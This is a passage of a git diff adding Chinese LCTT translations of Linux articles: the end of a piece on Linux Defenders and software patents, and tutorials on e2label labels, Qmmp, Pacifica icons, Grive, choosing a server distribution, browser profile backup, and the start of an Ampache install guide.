Defenders 能否说出因为这个过程而受限的专利申请的案例时,Casillas 和她的同事们说他们仍然在寻找评估它的有效性的方法。在6到9个月里,他们希望能找到一个工具来跟踪记录专利研究者们在复审中使用防御性公共出版物的情况。 + +Linux Denfenders 同时也把矛头指向已经通过的专利。但 Casillas 提醒说要推倒已经批准的专利的法律标准非常高。 + +###专利诉讼“能让 Red Hat扫地出门” + +昨天 LinuxCon 的一个单独的会议上,Red Hat 的 Fedora 项目经理 Tom Callaway 讨论了开源的法律威胁。 + +Red Hat 批评了“专利蟑螂”并且采取多种措施[保护自己和用户][2]。Callaway 说不能小看这些威胁。“我不是说大话,Red Hat在我们开源产业里不是一个小公司,我们可能是最大的。一个关键专利诉讼的失利可以让 Red Hat在这行干不下去。这就是专利的重要性,也足见在业界它是多么让人闻风丧胆。” + +各种可能性中,Red Hat不会被扫地出门的。它有一个保护自己及用户的在法庭上对抗专利“专利蟑螂”的良好跟踪记录。它把保障用户权益、对抗诉讼当做它的软件程序,而且已经建立起了一系列防御专利。 + +尽管付费的 RHEL 会员资格给了用户额外的保护,Red Hat也正在保证Fedora这个免费的系统远离法律纠纷。它是这么做的:分析所有代码,确保每段代码都使用合适的许可,有时移除或重写有嫌疑的代码。这会导致软件产生负面的结果。“我们在 Fedora 中遇到了很多问题。专利使我们不能按照我们所想要的方式去做事。”Callaway 这么说。 + +在最近的与 Rackspace 和 Red Hat 有关的案子里,一个叫做 Uniloc 公司想要从 Rackspace 处获得费用,因为后者使用了Red Hat的基于 Linux 的服务器。Uniloc的案子以其败诉告终。法官宣判它的专利声明无效,因为它仅描述了一个相对简单的数学操作。 + +但是应对这些诉讼很费钱。甚至 Red Hat 有时付专利费避免打官司。 + +Callaway在过分宽泛的专利面前流露出了挫败感。某些专利是“如此的模糊以至于它们可以指任何东西,”他说,“它们可以被应用到几乎任何地方,并且专利持有者打赌认定你不会去计较。” + + +###帮助专利审查人员识别恶意专利 + +Casillas告诉我们,那些过分宽泛的专利,正是 Linux Defenders 想要去阻止的。模糊的专利经常能够通过专利申请,部分原因是因为专利审查人员用在每个申请上的时间不会超过20小时。 + +总的时间是“相当难以置信,它考虑到这个过程所需时间长短以及这个专利发布的重要性。”他说。那20小时“包括了浏览申请,确定它按格式编辑,你的基本合法需求,而且这段时间决定着这个发明的前景。” + +专利审查人员用7到8个小时搜索先例,不论是专利形式的还是其它公共可及的技术描述,她说。 + +通过提交防御性公共出版物,提取标签以使专利审查人员更容易找到,Linux Defenders 希望使美国专利商标局更加起到实际作用。 + +Casillas 说:“我们不是在增加他们的工作量,而是帮助他们一起完成这些相关出版物” + + +via: http://arstechnica.com/tech-policy/2013/09/how-linux-defenders-attack-software-patents-before-theyre-approved/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[boredivan][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[boredivan]:http://linux.cn/space/boredivan +[Caroline]:http://linux.cn/space/14763 + +[1]:http://linuxdefenders.org/ +[2]:http://www.networkworld.com/news/2011/050511-red-hat-ceo-patents.html diff --git a/published/201309/How To Add or Edit a Linux File System Label.md b/published/201309/How To Add or Edit a Linux File System Label.md new file mode 100644 index 0000000000..72e5c6df0b --- /dev/null +++ b/published/201309/How To Add or Edit a Linux File System Label.md @@ -0,0 +1,96 @@ +如何在Linux上添加或编辑文件系统的卷标 +============================== + +文件系统卷标并不是为了Linux操作系统正常运行所必需的,但当你有几个磁盘分区时文件系统卷标可以使你更容易去导航到那些磁盘分区。在这篇文章中我将展示如何在ext2,ext3和ext4磁盘分区中添加或**编辑Linux文件系统卷标**。 + +我的上网本装有3个操作系统:Windows XP,Linux Mint和Xubuntu。有时我想要在其它的操作系统上去查看一个文件系统的文件位置,有了[文件系统卷标][1]是非常方便的,就可以知道该打开哪个文件系统来找到所需文件。 + +###查看Linux文件系统卷标 + +首先让我们看一下哪些文件系统已经有了一个卷标,哪些还没有。你可以用**blkid**命令来查看你的文件系统信息。你需要以root身份运行这个命令去查看文件系统的全部信息。 + + sudo blkid -c /dev/null + +在我的上网本里输出的信息是这样。 + + /dev/sda1: LABEL="WINRE" UUID="80AE-9D55" TYPE="vfat" + /dev/sda2: LABEL="OS_Install" UUID="E468676968673A06" TYPE="ntfs" + /dev/sda3: UUID="012ff341-f854-4c4f-8bbd-bbc810121fe6" TYPE="ext4" + /dev/sda5: UUID="ec0fe4d1-e21c-407d-8374-aa4b470519da" TYPE="ext3" + /dev/sda6: UUID="ee275431-64b2-4f55-b958-4055147cdf4e" TYPE="swap" + /dev/sda7: UUID="99feb5c5-25a6-47a3-aa2c-6d466c0094ab" TYPE="ext4" + +现在我用**lsblk**命令同样可以列出挂载在我当前系统上的某个文件系统。 + + lsblk + +在我的Linux Mint 系统上输出的信息是这样。 + + NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT + sda 8:0 0 149.1G 0 disk + |-sda1 8:1 0 3.9G 0 part + |-sda2 8:2 0 39.1G 0 part + |-sda3 8:3 0 9.3G 0 part / + |-sda4 8:4 0 1K 0 part + |-sda5 8:5 0 86G 0 part /home + |-sda6 8:6 0 1.4G 0 part [SWAP] + |-sda7 8:7 0 9.3G 0 part + +正如你看到的,在**blkid**和**lsblk**命令输出信息上,只有我的Windows分区是有卷标的,浏览文件管理器可以看到每一个分区都有一个通用的名称。 + +![img](http://tuxtweaks.com/wp-content/uploads/2013/08/01-Disks_wm-300x194.png) + +无卷标的分区 + +###用e2label编辑Linux文件系统卷标 + +查看**lsblk**命令的输出,我可以看到我的Linux Mint安装在/dev/sda3分区上,我的/home分区是在/dev/sda5分区上,而我的Xubuntu安装在/dev/sda7分区上。我用root身份运行[e2label][2]命令给在这些分区分配卷标。 + + sudo e2label /dev/sda3 Mint + sudo e2label /dev/sda5 Home + sudo e2label /dev/sda7 Xubuntu + +现在看看**blkid**命令的输出, + +sudo blkid -c /dev/null + + /dev/sda1: LABEL="WINRE" UUID="80AE-9D55" TYPE="vfat" + /dev/sda2: LABEL="OS_Install" UUID="E468676968673A06" TYPE="ntfs" + /dev/sda3: UUID="012ff341-f854-4c4f-8bbd-bbc810121fe6" TYPE="ext4" LABEL="Mint" + /dev/sda5: UUID="ec0fe4d1-e21c-407d-8374-aa4b470519da" TYPE="ext3" LABEL="Home" + /dev/sda6: UUID="ee275431-64b2-4f55-b958-4055147cdf4e" TYPE="swap" + /dev/sda7: UUID="99feb5c5-25a6-47a3-aa2c-6d466c0094ab" TYPE="ext4" LABEL="Xubuntu" + +可以看到卷标已经被加上了。查看文件管理器,我同样可以看到我10.0GB的分区现在显示的是Xubuntu卷标。 + +![img](http://tuxtweaks.com/wp-content/uploads/2013/08/02_Disks_wm-300x194.png) + +有卷标的文件系统 + +###提示 + +你同样可以用**e2label**命令来查看单独的分区卷标,如查看分区5. + + sudo e2label /dev/sda5 + +删除分区5的卷标 + + sudo e2label /dev/sda5 "" + +这个教程是由[Linerd][3]撰写的,最初发表在[Tux Tweaks][4]上http://tuxtweaks.com/2013/08/edit-a-linux-file-system-label/ 。 + +via: http://tuxtweaks.com/2013/08/edit-a-linux-file-system-label/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[Luny][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[Luny]:http://linux.cn/space/14455/ +[Caroline]:http://linux.cn/space/14763/ + +[1]:https://wiki.archlinux.org/index.php/Persistent_block_device_naming +[2]:http://linux.die.net/man/8/e2label +[3]:http://tuxtweaks.com/author/Linerd/ +[4]:http://tuxtweaks.com/ diff --git a/published/201309/How To Install Qmmp 0.7.2 On Ubuntu 13.04, 12.10, 12.04.md b/published/201309/How To Install Qmmp 0.7.2 On Ubuntu 13.04, 12.10, 12.04.md new file mode 100644 index 0000000000..68ff5db6db --- /dev/null +++ b/published/201309/How To Install Qmmp 0.7.2 On Ubuntu 13.04, 12.10, 12.04.md @@ -0,0 +1,72 @@ +怎样在Ubuntu 13.04,12.10,12.04安装Qmmp 0.7.2 +========================================== + +大家好,Ubuntu迷们! + +你们好吗? 这篇文章的目标是介绍怎么在Ubuntu系统上安装Qmmp0.7.2app应用程序。在Ubuntu上有许多的多媒体娱乐软件,Qmmp是其中一个,它是基于Qt库的。Qmmp播放器依赖于Qt库,其用户界面类似于Winamp或者是Xmms。你喜欢Winamp的用户界面吗?或者是Xmms的界面?不是?好的,不要担心,还有可替换的用户界面。你可以看看[这里][1]。 + +Qmmp 的实际稳定版本为0.7.2,已于8月26日发布。该程序非常强大并且很容易使用。它采用了MPEG V1/2的 1/2/3层解码器,支持多种输出格式,例如 MPEG1 2/3层,Ogg Vorbis,Ogg Opus,Native FLAC/Ogg FLAC,Musepack,WavePack,下面列出所有支持的输出格式。 + +- MPEG1 2/3层 +- Ogg Vorbis +- Ogg Opus +- Native FLAC/Ogg FLAC +- Musepack +- WavePack +- Tracker 模块 (mod, s3m, it, xm, etc) +- ADTS AAC +- CD Audio +- WMA, Monkey’s Audio (以及ffmpeg库提供的其他格式) +- PCM WAVE (以及 libsndfile 库提供的其他格式) +- Midi +- Chiptune formats (AY, GBS, GYM, HES, KSS, NSF, NSFE, SAP, SPC, VGM, VGZ, VTX) + +和以前的版本相比,Qmmp0.7.2应用程序有许多修正和变化。API文件已修复,未实现的功能已经被删除,那你想知道从0.7.1版本所以的变化吗? + +从0.7.1开始的变化有: + +- 修复队列更新的bug; +- 修复轨道长度格式; +- 修复API文档; +- 修复了gcc编译器的警告; +- 修复了内存泄露; +- 修复wildmidi的配置路径; +- 修复了播放列表自动保存的功能; +- 修复了可能出现的段错误; +- 修复了标题格式更新错误; +- 去除未实现的功能; + +现在开始安装Qmmp 0.7.2;打开新的终端,输入下列命令: + + $sudo add-apt-repository ppa:forktov02/ppa + +![img](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Selection_033.png) + +![img](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Selection_034.png) + +然后更新源列表,输入: + + $sudo apt-get update + +![img](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Selection_035.png) + +更新完后,我们下载qmpp,qmmp-plugin-pack,然后安装它们。 + + $sudo apt-get install qmmp qmmp-plugin-pack; + +![img](http://180016988.r.cdn77.net/wp-content/uploads/2013/09/Selection_036.png) + +via:http://www.unixmen.com/install-qmmp-0-7-2-ubuntu-13-04-12-10-12-04/ + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[神之一手][] 校对:[jasminepeng][jasminepeng] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[神之一手]:http://linux.cn/space/14789 +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://qmmp.ylsoftware.com/links.php + diff --git a/published/201309/How to Beautify Your Linux Desktop with Pacifica Icons.md b/published/201309/How to Beautify Your Linux Desktop with Pacifica Icons.md new file mode 100644 index 0000000000..672f59ca93 --- /dev/null +++ b/published/201309/How to Beautify Your Linux Desktop with Pacifica Icons.md @@ -0,0 +1,59 @@ +如何使用Pacifica图标美化你的linux桌面 +============================== + + +这个教程将会指导所有的linux用户如何使用华丽的、扁平化以及现代化的Pacifica图标主题来美化当前桌面环境。 + + +Pacifica 图标主题的灵感来源这个世界最美丽的linux操作系统elementary OS,像Nitrux、Faenza、Moka以及Plastico这些精美的图标主题,为linxu世界带来了一些我们期待已久的新元素。 + + +Francisco Villarroel是Pacifica图标主题的主要开发者和设计者。他用bokehlicia这个名字发布在Deviantart网站上,[而bokehlicia正是这款超凡的图标主题诞生之处][1]. + + +现在说说技术细节,可以告诉你们,我们已经在Arch Linux系统上使用一个纯净的GNOME3桌面环境测试了它,不过,感谢Carlos Gomes,Ubuntu 12.04 LTS (穿山甲)的用户也可以通过elementary OS PPA安装。 + + +Pacifica图标主题依赖elementary图标主题,当然默认的gnome和hicolor图标主题可以在任何 Gnome-based linux发行版中找到。因此,如果你有需求,Pacifica 图标主题也可以在你的桌面环境或linux发行版上工作。 + + +![](http://i1-news.softpedia-static.com/images/extra/LINUX/large/pacificaicontheme-large_001.jpg) + +让我们开始在Arch Linux 和Ubuntu上安装这个精美的图标主题。首先,这是Ubuntu 12.04 LTS用户使用的安装指令: + + +通过敲击 **CTRL+ALT+T** 组合键打开一个终端,接着一条一条粘贴以下命令,注意,每粘贴一条后敲击Enter。 + + + sudo apt-add-repository ppa:elementary-br/projects + sudo apt-get update + sudo apt-get install -y pacifica-icon-theme + + +好了!你现在可以用GNOME Tweak或者其它的应用程序来帮助你改变系统图标主题,应用Pacifica图标主题。如果你更喜欢命令行,请使用下面的命令: + + + gsettings set org.gnome.desktop.interface icon-theme "Pacifica" + + +对于Arch Linux用户,使用你们最喜欢的AUR助手(译者注:比如yaourt)[安装pacifica-icon-theme包][2]。Arch Linux用户也使用上面的指令来设置新的Pacifica图标主题。 + +对于其他用户,不要犹豫,在你的Linux系统上手动下载安装Pacifica图标主题,或者用这些图标做你想做的任何事情。 + +如果你在学习本教程中有任何问题,请在下面写下评论。 + +via: http://news.softpedia.com/news/How-to-Beautify-You-Linux-Desktop-with-Pacifica-Icons-385877.shtml + + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[flsf01][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[flsf01]:http://linux.cn/space/译者ID +[Caroline]:http://linux.cn/space/14763 + +[1]:http://bokehlicia.deviantart.com/art/Pacifica-Icons-402508559 +[2]:https://aur.archlinux.org/packages/pacifica-icon-theme/ + diff --git a/published/201309/How to Install a Google Drive Client on Ubuntu.md b/published/201309/How to Install a Google Drive Client on Ubuntu.md new file mode 100644 index 0000000000..b68f306f3d --- /dev/null +++ b/published/201309/How to Install a Google Drive Client on Ubuntu.md @@ -0,0 +1,67 @@ +##如何在Ubuntu下安装Google云端硬盘客户端 + +以下教程将为所有的Ubuntu用户讲授如何在你们的运行正常的Ubuntu上安装名为Grive的非官方Google云端硬盘客户端。 + +![img](http://i1-news.softpedia-static.com/images/news2/How-to-Install-a-Google-Drive-Client-on-Ubuntu-381532-2.jpg) + +正如你所知,Google(大概讨厌Linux用户)没有为其优秀的Google云端硬盘提供Linux客户端。但是不用担心,随着开源社区拥有了一些像Lorenzo Breda一样的天才人物,他们为Linux开发了一个叫做 Grive的非官方的Google云盘客户端。 + +在我们实际安装之前,我们提醒你Grive应用还处于开发的早期阶段,仍旧有一些局限性,例如对多重父级的文件及文件夹的支持以及下载Google文档的能力. + +另外,我们应该提及的是Grive是一个命令行客户端并且没有GUI(图形用户界面),因此,这次安装我们将使用其他Linux大神们制作的工具,叫做Grive Tools,它将在你的Ubuntu机器上自动下载、编译和安装最新版本的Grive. + +Grive Tools支持以下的Ubuntu发行版:Ubuntu 12.10 (Quantal Quetzal), Ubuntu 13.04 (Raring Ringtail),和Ubuntu 13.10 (Saucy Salamander). + +###安装依赖库 + +这是一个简单的步骤,只要求你在Unity Dash上搜索并打开终端,然后将以下的代码粘贴在终端窗口上: + + sudo apt-get install -y git cmake build-essential libgcrypt11-dev libjson0-dev libcurl4-openssl-dev libexpat1-dev libboost-filesystem-dev li bboost-program-options-dev binutils-dev libboost-test-dev libqt4-dev libyajl-dev expect zenity gksu libnotify-bin + +敲击回车键后,当提示输入密码时键入密码并再一次敲击回车键开始进入安装过程,需要注意的是可能有一些依赖包已经由你之前的应用程序安装好了。 + +![img](http://i1-news.softpedia-static.com/images/extra/LINUX/small/googledriveubuntu-small_001.png) + +###安装Grive Tools和Grive + +在[这里][1]下载正确的Grive Tools包并保存在你的桌面上,下载完成后双击它,此时Ubuntu软件中心将打开,这样你就可以轻松容易的安装该应用了。 + +![img](http://i1-news.softpedia-static.com/images/extra/LINUX/small/googledriveubuntu-small_002a.png) + +一旦安装完成,在Unity Dash上搜索Grive Tools并打开。Grive Tools将要求你输入你的密码,键入你的密码并点击OK,然后Grive Tools将开始下载文件和配置最新版本的Grive,这将会花费你一些时间。 + +![img](http://i1-news.softpedia-static.com/images/extra/LINUX/small/googledriveubuntu-small_003.png) + +![img](http://i1-news.softpedia-static.com/images/extra/LINUX/small/googledriveubuntu-small_004.png) + +###在Grive上配置Google云端硬盘 + +既然Google云端硬盘Linux客户端已经安装完毕,为了让它可以访问你的Google云端账号,我们需要对它进行配置,当你看到下面的对话框时请单击"Next"按钮。 + +![img](http://i1-news.softpedia-static.com/images/extra/LINUX/small/googledriveubuntu-small_005.png) + +一个web浏览器或标签将被打开,要求您登录到您的Google账号(如果你尚未登入)并授权给该应用去访问你的Google云端硬盘,单击蓝色的"Accept"按钮后你将可以看到Google认证码,你需要将该认证码复制并且粘贴在Grive设置对话框上。 + +![img](http://i1-news.softpedia-static.com/images/extra/LINUX/small/googledriveubuntu-small_006.png) + +![img](http://i1-news.softpedia-static.com/images/extra/LINUX/small/googledriveubuntu-small_007.png) + +就是这样!你的Google云端硬盘上的文件将根据你的Google账号立即下载到并放置到你的家目录下的"Google Drive"文件夹下。同步时你将可以看到一个桌面通知。 + +![img](http://i1-news.softpedia-static.com/images/extra/LINUX/small/googledriveubuntu-small_008.png) + +如果你在Unity Dash上搜索"Google Drive"(搜索时不加引号),你将可以看到一个Google云端硬盘的图标,你可以将该图标拖拖动到Unity启动器上,在Unity启动器上右击Google云端硬盘图标可以快速的同步到你的Google云端硬盘上或者访问你的本地文件夹。 + +![img](http://i1-news.softpedia-static.com/images/extra/LINUX/small/googledriveubuntu-small_009.png) + +如果您对于教程还有问题,尽管在下面写下评论。 + +[1]:http://linux.softpedia.com/get/Utilities/Grive-Tools-102298.shtml + + + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/portal.php) 荣誉推出。 + +译者:[Luny](http://linux.cn/space/luny) 校对:[Caroline](http://linux.cn/space/caroline),[wxy](http://linux.cn/space/wxy) + +via: http://news.softpedia.com/news/How-to-Install-a-Google-Drive-Client-on-Ubuntu-381532.shtml diff --git a/published/201309/How to choose the best Linux server for your business.md b/published/201309/How to choose the best Linux server for your business.md new file mode 100644 index 0000000000..ab4cab5c3d --- /dev/null +++ b/published/201309/How to choose the best Linux server for your business.md @@ -0,0 +1,137 @@ +怎样选择你的最佳商用Linux服务器 +===================================================== + +所谓适合你的商用Linux服务器,可能只是能符合你的职员水准的服务器。 + + +![img](http://www.itworld.com/sites/default/files/best-penguin.jpg "penguins") +供图: flickr/Pete + +与上千种Linux桌面版本相比,Linux服务器只有可怜的十几种。但想要选对适合你的企业需要的仍然不是件容易的事情。我可以帮助你。Linux 方面我有20年经验了,对Linux服务器略懂一二。 + +> 参考: + +> * [众多Linux服务器测试中Ubuntu的表现][1] + +> * [选择桌面Linux发行版本的第一条原则:用户更了解自己][2] + +我觉得选Linux服务器首先要考虑的是你的IT部门对Linux有多熟悉。尽管这些年Linux专家好找多了,但是专业搞Linux的人还是不太好找。 + +今年早些时候我去俄勒冈州的波特兰参加一个叫做OSCon的开源大会的时候,我确认了一个事实就是每家公司(包括某家叫什么软的)都在考虑[雇佣有Linux和开源工作经验的人][3]。 + + +特别地,从已有经验来看,雇主在找有[几年Linux使用经验]的职员的时候都遇到了麻烦。或者确切地说是你需要保证你的Linux服务器火车准点的雇员。 + + +不难看出,如果你手底下没有一群经验丰富的Linux技术人员的话,你要避免选择像[Debian][5]这样没有供应商提供技术支持的版本。 + +别搞错了,如果有经验丰富的人员的话Debian是个很棒的选择,但是如果你的职员连BASH和C Shell有什么区别都不知道的话那还是算了吧。 + +> 推荐给Linux新手的Linux服务器 + + - RHEL + - SUSE + - Oracle Linux + - Turnkey Linux + +如果你的职员是Linux新手,你需要用一个商业版本的Linux。在它们之中,多数人力荐的是[Red Hat Enterprise Linux][6]。 + +Red Hat靠对商用的支持成为了第一个资产过亿的Linux公司。RHEL比起其它Linux有很大的优势,因为它有着全套的工具——[企业级支持][8],[专业认证][9],[硬件认证][10],通过[Red Hat Network (RHN)][11] 的自动在线更新 —— 那让CFO和CIO们很开心。 + +话说回来,Red Hat 确实有个真正的对手:[SUSE Linux Enterprise Sever (SLES)][12]。 + +像RHEL一样,SLES有着[技术支持][13];由它的姊妹公司Novell负责的[人员认证][14],[硬件认证][15],[在线更新][16]。 + +那么,在它们当中该怎么选择呢?你可以试试先。它们用起来都很容易。就我而言,它们我都用过。总之要视实际情况而定,它们各有用武之地。 + +还有一个企业级Linux可以选择: [Oracle Linux][17]。尽管它是以RHEL为模仿对象和奋斗目标的,反正我不用。我所知道的唯一在商用中使用它的是一群把它们的IT鸡蛋们都放在Oracle这个篮子里面的人。 + +> 推荐给非专家用户的Linux服务器 + + - CentOS + - openSUSE + - Ubuntu Server + +假设你中等水平,你的手下了解一些Linux的知识但并不是专家,怎么办呢? + +我将推荐几个Linux。首先,如果你喜欢RHEL的话,那么一个免费的RHEL的克隆版本[CentOS][18],值得你去关注。 + +CentOS 人气很高。如果你有一个运行在大多Web托管服务上的Apache服务器软件,很有可能你的网站就是运行在CentOS上的。要在网上寻找这个发行版的免费技术支持也不是件难事。 + +如果你在担心Red Hat找CentOS麻烦的话,尽管放心好了。虽然Red Hat对Oracle Linux没什么好感,但对CentOS不一样。RedHat的CEO James Whitehurst最近说:“CentOS 是 [RHEL生态系统成为行业标杆][19]的原因之一。如果不是它,Linux就必须付费使用而RHEL也就不会这么流行了。所以,往小处看我们是损失了一些收入,但从长远看,CentOS 在使RHEL成功方面扮演着非常重要的角色。” + +另外一个给稍微了解一点Linux的人的选择是[openSUSE][20]。这是SUSE的社区版本。尽管它不提供SLES的技术支持,它还是挺好用的。我的家用服务器就是用的openSUSE。 + +[Fedora][21]是RHEL的社区版,但我不推荐用它做服务器。Fedora对想要挖掘Linux潜力的开发者们是不错的,但它不适合想要一个稳定的服务器的人。 + +另外一个中游的选择是Canonical的Ubuntu。Ubuntu以桌面版本及其在平板电脑和智能手机上的设计而闻名,同时它也有相当好的服务器版本:[Ubuntu Server][22]。 + +像RHEL和SLES一样,Ubuntu也有技术支持和认证服务,但比不上Red Hat 和SUSE的资源丰富。另一方面,Ubuntu作服务器的话还是挺容易上手的。 + + +> 专家级Linux服务器 + + - Arch + - Gentoo + - Debian + - Fedora + +如果你对云计算感兴趣,Ubuntu(像RHEL一样)[和OpenStack结合地很好][23]。另外,Ubuntu的母公司Canonical提供了[Juju][24],一套非常方便的DevOps(开发/运营)的[工具][25],这使得Ubuntu的架设、配置、管理、维护、升级和扩展服务器变得更简单。 + +当我们在探讨云的时候,你也应该考虑你是不是真的需要在你的办公室或者数据中心里运行通用Linux服务器。很有可能你能在云的某一特定Linux服务器上运行服务。 + +多数公用云计算服务,如Amazon Web Services(AWS),Azure和RackSpace,提供Linux服务器。这样的话配置服务器等等一些难做的工作就已经替你做好了。 + +举个例子,在Amazon Elastic Cloud (AE2)上,Amazon提供了随时可用的Amazon Machine Images (AMIs),包括上文提到的每一种Linux发行版本,还有它自己的[Amazon Linux][26]可以选择。Microsoft的Azure呢,不管你信不信,[支持CentOS,openSUSE,SUSE和Ubuntu][27]。最后,RackSpace,一个OpenStack的拥护者,[支持大多数主流Linux服务器版本][28]和两个轻量级Linux,Arch和Gentoo。然而,像Debian一样,我仅推荐那些特别了解这些Linux发行版的人使用它们作为关键业务服务器。 + +谁说你就算是在云上都要有一个全功能Linux服务器?你可能只需要一个针对特定工作的Linux服务器。[Turnkey Linux][29]可以满足你。 + + +Turnkey基于64位的Debian,但它需要的专业知识最少。因为它只提供特定的服务而不是一个全功能的发行版本。 + +Turnkey有超过100个可用的应用。包括Apache,Linux,MySQL,PHP/Python/Perl (LAMP) ;WordPress博客平台;Drupal内容管理系统(CMS)以及像Ushahidi这样的大流量购物服务器,优秀的人际关系管理(CRM)应用Zurmo,人道救援管理系统Sahana Eden。你可以在AWS,裸机,虚拟机(VM)或者Infrastructure as a Service(IaaS)云上面使用它们。 + +简言之,不论你对Linux知道多少,总有一款Linux服务器版适合你进行商用。动手吧! + + +via: http://www.itworld.com/operating-systems/372236/how-choose-best-linux-server-your-business + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[boredivan][] 校对:[jasminepeng][] + + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[boredivan]:http://linux.cn/space/boredivan +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://www.itworld.com/slideshow/119061/ubuntu-impresses-test-linux-servers-372374 +[2]:http://www.itworld.com/operating-systems/370104/first-rule-choosing-desktop-linux-distribution-user-know-thyself +[3]:http://blog.smartbear.com/open-source/yes-open-source-jobs-are-hot-and-we-have-stats-to-prove-it/ +[4]:http://www.itworld.com/it-managementstrategy/250988/where-are-all-linux-professionals +[5]:http://www.debian.org/ +[6]:http://www.redhat.com/products/enterprise-linux/ +[7]:http://www.itworld.com/it-managementstrategy/263212/red-hat-joins-billion-dollar-club +[8]:http://www.redhat.com/support/ +[9]:http://www.redhat.com/training/certifications/ +[10]:http://www.redhat.com/rhel/compatibility/hardware/ +[11]:https://access.redhat.com/subscriptions/rhntransition/ +[12]:https://www.suse.com/products/server/ +[13]:https://www.suse.com/products/expandedsupport/ +[14]:http://www.novell.com/training/certinfo/clp/ +[15]:https://www.suse.com/partners/ihv/yes/ +[16]:https://www.suse.com/products/register.html +[17]:http://www.oracle.com/us/technologies/linux/overview/index.html +[18]:http://www.centos.org/ +[19]:http://readwrite.com/2013/08/13/red-hat-ceo-centos-open-source +[20]:http://www.opensuse.org/en/ +[21]:http://fedoraproject.org/ +[22]:http://www.ubuntu.com/server +[23]:http://www.ubuntu.com/cloud/build-a-cloud +[24]:https://juju.ubuntu.com/ +[25]:https://community.csc.com/community/cio-engage/blog/2013/08/25/beyond-chef-and-puppet-ubuntu-juju +[26]:https://aws.amazon.com/marketplace/pp/B00635Y2IW/ref=mkt_ste_ec2_amznlinux +[27]:http://www.windowsazure.com/en-us/manage/linux/other-resources/endorsed-distributions/ +[28]:http://www.rackspace.com/knowledge_center/article/choosing-a-linux-distribution +[29]:http://www.turnkeylinux.org/ diff --git a/published/201309/How to easily backup and reuse data of Firefox and Chromium.md b/published/201309/How to easily backup and reuse data of Firefox and Chromium.md new file mode 100644 index 0000000000..2e6bdd6a16 --- /dev/null +++ b/published/201309/How to easily backup and reuse data of Firefox and Chromium.md @@ -0,0 +1,44 @@ +如何轻松备份及恢复Firefox和Chromium的浏览器数据 +================================================================================ + +网络及网络中的网站、音乐、视频、图片、文件和书籍等内容在用户的IT生活中扮演着一个至关重要的角色。 + +在Ubuntu系统中,用户可以很轻松地安装开源的Chromium (apt://chromium-browser)浏览器,它与Ubuntu所带的默认浏览器Firefox一起,为用户提供了一种非常可靠的方式来访问网络上的内容。 + +然而很多情况下,用户会遇到不得不移动Firefox和Chromium产生的数据的情况,例如为了能在其它的Ubuntu设备或其它的电脑(放在其它地方而没有放在家里的电脑)上使用这些数据,或者为了在出现意外情况时(硬盘损坏、电脑丢失等)保护数据。 + +有几种基于远程同步的备份服务及工具,下面介绍一种方法,它可以提供快捷、可靠并且以随时可存取的方式来即时地(再)使用Firefox和Chromium的数据(这些数据包括网站历史记录、密码、下载历史、书签等基本上所有你使用Firefox和Chromium时产生的数据)。 + +这个方法是(在U盘里存储数据): + +- 跳转到home文件夹下,然后按“Ctrl+H”键,显示出隐藏的文件夹。 + +- 将`.mozilla`文件夹复制到U盘中。 + +![](http://iloveubuntu.net/pictures_me/mozilla%20wed%20data%20backup.png) + +- 将`.config`文件夹中的`chromium`文件夹复制到U盘。 + +![](http://iloveubuntu.net/pictures_me/chromium%20web%20data%20backup.png) + +现在你的U盘中就有`.mozilla`和`chromium`这两个文件夹了。 + +从U盘中将`.mozilla`和`chromium`这两个文件夹复制到新的(或旧的)Ubuntu设备中的相应位置(`.mozilla`在home目录下,`chromium` 在 `.config`目录下,——删除旧的将要被替换的`.mozilla` 和`chromium`文件夹——)打开Firefox和Chromium,用户就可以使用他们所有的网络数据了,至此,你就可以摆脱那些同步服务,高级复杂的方法和潜在的不可用性等问题了。 + +以防意外状况发生,你也可以用一个硬盘的分区来代替U盘备份。 + +via: http://iloveubuntu.net/how-easily-backup-and-reuse-data-firefox-and-chromium + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者: [Linchenguang][] 校对:[Caroline][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[译者ID]:http://linux.cn/space/译者ID +[Caroline]:http://linux.cn/space/14763 + +[1]:http://iloveubuntu.net/how-easily-backup-and-reuse-data-firefox-and-chromium + + +Linchenguang 1215412538@qq.com diff --git a/published/201309/Install Ampache Streaming Media Server On CentOS 6.4.md b/published/201309/Install Ampache Streaming Media Server On CentOS 6.4.md new file mode 100644 index 0000000000..396a47f16b --- /dev/null +++ b/published/201309/Install Ampache Streaming Media Server On CentOS 6.4.md @@ -0,0 +1,134 @@ +在CentOS 6.4上安装Ampache流媒体服务 +================================ + +[Ampache][1]是一个基于WEB的音频/视频流媒体软件和文件管理器。你可以使用几乎所有的互联网设备从任何地方去访问你的音乐和视频。它不是一个媒体管理器,只是有效利用了现有分类好的媒体文件。所以,你必须预先组织好这些媒体文件。 + +###方案 + +尽管它应该在几乎所有基于RHEL的系统上工作,但这个指南是在CentOS 6.4上测试的。在这篇指南中, 我的测试机主机名和IP地址分别为**server.unixmen.com** 和 **192.168.1.201/24**.你可以根据自己的地址适当改变这些值。 + +###前提 + +你的服务器上应该安装和配置了Apache,MySQL和PHP(LAMP)。参考以下链接中的任何一个来安装LAMP服务。 + +- [在CentOS 